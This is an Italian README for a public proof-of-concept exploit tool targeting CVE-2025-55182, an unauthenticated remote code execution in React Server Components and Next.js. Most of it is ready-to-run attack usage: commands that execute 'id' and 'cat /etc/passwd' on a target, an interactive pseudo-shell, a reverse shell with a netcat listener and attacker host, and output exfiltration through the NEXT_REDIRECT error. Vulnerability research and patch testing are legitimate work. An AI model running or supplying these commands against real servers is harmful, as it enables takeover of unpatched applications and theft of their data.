
CVE-2025-55182 React2Shell PoC - RCE critica in React Server Components / Next.js. CVSS 10.0. Esfiltrazione basata su errori, reverse shell, modalità interattiva.
Proof of Concept per CVE-2025-55182, una vulnerabilità critica di esecuzione remota di codice non autenticata nei React Server Components.
Punteggio CVSS: 10.0 (Critico)
La vulnerabilità risiede nel deserializzatore del protocollo Flight di React. Sfruttando la prototype pollution tramite payload appositamente costruiti, un attaccante può ottenere l'esecuzione arbitraria di codice sulle applicazioni Next.js vulnerabili.
| Prodotto | Vulnerabile | Corretto |
|---|---|---|
| React | 19.0.0 - 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
| Next.js | 14.3.0-canary.77 - 16.x | 15.0.5, 15.1.9, 15.2.6, 16.0.7+ |
git clone https://github.com/p3ta00/react2shell-poc.git
cd react2shell-poc
pip install requests
L'output viene restituito direttamente nella risposta HTTP tramite l'errore NEXT_REDIRECT: nessun server di callback necessario.
python3 react2shell-poc.py -t http://TARGET:3000 -c "id"
python3 react2shell-poc.py -t http://TARGET:3000 -c "cat /etc/passwd"
python3 react2shell-poc.py -t http://TARGET:3000 -i
python3 react2shell-poc.py -t http://TARGET:3000 --check
python3 react2shell-poc.py -t http://TARGET:3000 -c "touch /tmp/pwned" --blind
# Start listener
nc -lvnp 4444
# Send payload
python3 react2shell-poc.py -t http://TARGET:3000 --revshell --lhost YOUR_IP --lport 4444
python3 react2shell-poc.py -t http://TARGET:3000 -c "id" --listen --lhost YOUR_IP
-t, --target Target URL (required)
-c, --command Command to execute (output via error-based exfil by default)
--check Check if target is vulnerable
--blind Blind RCE mode (no output capture)
--listen Use callback server instead of error-based exfil
-i, --interactive Interactive pseudo-shell mode
--revshell Attempt reverse shell
--lhost Attacker IP for callbacks/reverse shell
--lport Callback port (default: 9999)
--callback Manual callback URL
--timeout Request timeout in seconds (default: 30)
Il metodo di esfiltrazione predefinito utilizza l'iniezione dell'errore NEXT_REDIRECT:
NEXT_REDIRECT con l'output nel campo digestQuesto metodo è più affidabile dell'esfiltrazione basata su callback perché non richiede accesso di rete in uscita dal target.
Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e a scopi educativi. L'accesso non autorizzato a sistemi informatici è illegale. Ottenere sempre la dovuta autorizzazione prima di eseguire qualsiasi test.
p3ta